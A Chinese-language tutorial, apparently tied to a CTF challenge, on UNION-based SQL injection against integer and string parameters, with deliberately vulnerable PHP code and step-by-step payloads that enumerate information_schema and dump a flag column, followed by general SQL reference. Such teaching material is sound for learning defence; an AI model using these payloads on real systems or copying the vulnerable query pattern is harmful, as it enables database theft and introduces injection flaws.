SQL注入(1)整数型和字符型
题目的链接,整数型注入和字符型注入。
注:本篇不讨论sql的bypass。
注入是什么?
简单来说就是利用PHP代码的漏洞,构造合法
的恶意SQL语句,藉由后端应用(如PHP应用)对SQL数据库进行敏感数据查询。
一.UNION联合注入原理
注入的思路十分清晰,一般来说分为以下步骤:
查窗口(查询列数)---爆数据库名--爆表名--爆列名(字段)---爆内容
三个重要的东西:UNION,PHP语句,information_schema.
1.Union字段介绍与注入条件和原理
Union
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。且列明由第一个SELECT确定。
正确执行的条件:
1.UNION 内部的 SELECT 语句必须拥有相同数量的列。
2.列也必须拥有相似的数据类型,且只能回显同类型数据。
3.每条 SELECT 语句中的列的顺序必须相同。
原理:
1.保证前半段不返回数据:PHP应用再构造查询语句时使用了LIMIT关键字
或获取mysql数据集时只取第一个,导致只能显示一行数据,因此我们必须保证UNION的前半段返回的数据为空,防止真正查询的数据空间被挤占(一般来说如id字段,不会出现-1的数据,诸如此类)。
2.注入窗口的来源:由于实际回显的数据是UNION的后半段SELECT语句的查询结果,所以我们通过UNION SELECT 1,2,3的语句可以确定表的字段数,并且以此作为会先数据的窗口,通过改变1,2,3的值返回目的数据。
补充:select直接加数字进行查询时,回显的内容就是我们构造的数字,可构造一个1行n列的表。(且此表在拼接前或处于拼接表的前端时,表名为我们输入的数据名,这个在这里不会用到,但在一些特殊的注入中会涉及)。
3.注入的突破口: SQL命令由PHP函数提交给了SQL数据库,本质上是一条字符串,他会跟据后端PHP构造的查询语句将SQL语句提交到数据库应用,如果提交过程中过滤不严格,我们可以利用一些手段进行注入,通过 ’ 和 # 对语句进行闭合处理,使后面的UNION联合查询符合SQL语法,最终导致SQL语句在数据库应用执行,将查询结果输出到回显窗口
$sql="SELECT * FROM userinfo where id='$uid'";
4.注入的路径: SQL5.7以上版本中默认包含了一个特殊的库information_schema,其中包含了在SQL数据库中存在的所有的库名,表名,字段名,以及他们的从属关系。
2.分析网页对参数处理的PHP代码
<?php
//通过GET方法(形式:url或form表单)传入
$uid=$_GET['id'];
//此处书写方式的不同直接决定了是整数型还是字符型注入,下面具体区分
$sql="SELECT * FROM userinfo where id=$uid";
//mysql_connect() 函数打开非持久的 MySQL 连接,返回一个连接标识
$conn=mysql_connect ('localhost','root','root');
//mysqli_select_db() 函数用于更改连接的默认数据库("库名",连接标识)
mysql_select_db("sql",$conn);
//mysql_query(),函数执行一条 MySQL 查询,返回值mysql_fetch_row()的指针参数(数据库返回的结果)
$result=mysql_query($sql,$conn);
print_r('当前SQL语句: '.$sql.' 结果: ');
print_r(mysql_fetch_row($result));
?>
相关函数和关键字
mysql_fetch_row(data)
函数从结果集中取得一行作为数字数组。
此条性质决定了通过窗口输出数据时,要求Union前的查询语句返回数据为空,以为目的回显数据保留窗口。
group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
此函数可保证在同一个窗口显示一个字段下的多个数据。将group by产生的(以某个字段的不同数据为基准分组)将同一个分组中的值连接起来,返回一个字符串结果。
GROUP BY 字段名;
根据某个字段对SELECT的内容分组,以该字段的不同数据为依据分组。
3.information_schema中的三个关键的表
1.SCHEMATA
提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
schema_name()
schemata的字段,表示库名;
2.TABLES
提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
table_name()
tables的字段,含有所有的表名和他所在的库;
table_schema()
tables的字段,指定的表所在的库名。
3.COLUMNS
提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename 的结果取之此表。
column_name()
column的字段,包含所有的字段名和他所对应的库名和列名。
二.两类问题,两个实例
1.整数型注入
PHP源码格式
$querry = "select * from 表名 where id= $_GET['id']"
注入流程
回显窗口确定个数:
#两列时完整回显
5 union select 2,3
爆库:
#回显了可以数据库:sqli
5 union select 2,group_concat(schema_name) from information_schema.schemata
爆表:
#回显了可疑的表名flag
5 union select 2,group_concat(table_name) from information_schema.tables where table_schema="sqli(目标表所在库)"
5 union select 2,group_concat(table_name) from information_schema.tables where table_schema="hbuctf"
爆字段:
#回显了可疑的字段名flag
5 union select 2,group_concat(column_name) from information_schema.columns where table_name="flag(目标表名)"
显示数据:
5 union select 2,group_concat(flag(目标字段名)) from flag(目标表名)
2.字符型注入
PHP源码格式
$querry = "select * from 表名 where id= '$_GET['id']' "
注入流程
回显窗口确定个数:
#两列时完整回显
5' union select 2,3#
爆库:
#回显了可以数据库:sqli
5' union select 2,group_concat(schema_name) from information_schema.schemata#
or
5' union select 2,database()#
爆表:
#回显了可疑的表名flag
5' union select 2,group_concat(table_name) from information_schema.tables where table_schema="sqli(目标表所在库)"#
爆字段:
#回显了可疑的字段flag
5' union select 2,group_concat(column_name) from information_schema.columns where table_name="flag(目标表)"#
显示数据:
5' union select 2,group_concat(flag(目标字段)) from flag(目标表)#
补充:
字符型注入测试语句:
xx' and '1'=1--' //正确
xx' and '1=2--' //错误
查数据库信息(可能用到,在窗口直接使用即可)
version查看数据库的版本
select * from news where id=5 union select 233,version()
ID: 233
Data: 10.3.22-MariaDB-0+deb10u1
查看当前的数据库
select * from news where id=5 union select 233,database()
ID: 233
Data: sqli
查看登陆数据库的用户
select * from news where id=5 union select 233,user()
ID: 233
Data: root@localhost
可能用到的函数和操作符
与GROUP_CONCAT()组合有妙用
ORDER BY: select SUBSTRING_INDEX(GROUP_CONCAT(stuName ORDER BY score ASC)(截取处理的字段),',(以这个字符为分隔符分组)',1(取第n组,1开始))
ORDER BY 语句用于根据指定的列对结果集进行排序。
ORDER BY 语句默认按照升序对记录进行排序。
如果希望按照降序对记录进行排序,可以使用 DESC 关键字。
例:SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC, OrderNumber ASC
当对两个字段分别使用不同的排列方式时,先写上的占主导。
IN: WHERE column_name IN (value1,value2,...) IN 操作符允许我们在 WHERE 子句中规定多个值。
GROUP BY 字段名;
根据某个字段对SELECT的内容分组,以该字段的不同数据为依据分组。
ON 条件是在生成临时表时使用的条件;
WHERE 条件是在临时表已经生成后,对临时表进行的过滤条件。
LIMIT: SELECT * FROM 表 order by 字段 asc limit n,n(从0开始); 查询指定行。
LIKE:
select * from stu_info where name like "%a%";
(列出所有包含<某字符>(有它就行)字符的数据项) :waw,wa,aw,a
select * from stu_info where name like "d%";
(列出所有包含<某字符>且<右边>有字符或它本身的数据项):a,aw
select * from stu_info where name like "%d";
(列出所有包含<某字符>且<左边>有字符或它本身的数据项):a,wa
select * from stu_info where name like "_m_";
(列出所有包含<某字符>且<有且左边和右边都>包含字符的数据项):waw
select * from stu_info where name like "_m";
(列出所有包含<某字符>且<有且仅有右边>包含字符的数据项):wa
select * from stu_info where name like "m_";
(列出所有包含<某字符>且<有且仅有左边>包含字符的数据项):aw
字符型和整数型的区别
字符:除数字之外都是字符
数字:0-9
两种SQL语句的区别:
数字型: SELECT 列 FROM 表 WHERE 数字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’
SQL中的单引号
- 单引号必须成对出现,否则数据库就会报错。
- 如果两个单引号之间内容为空,数据库自动忽略。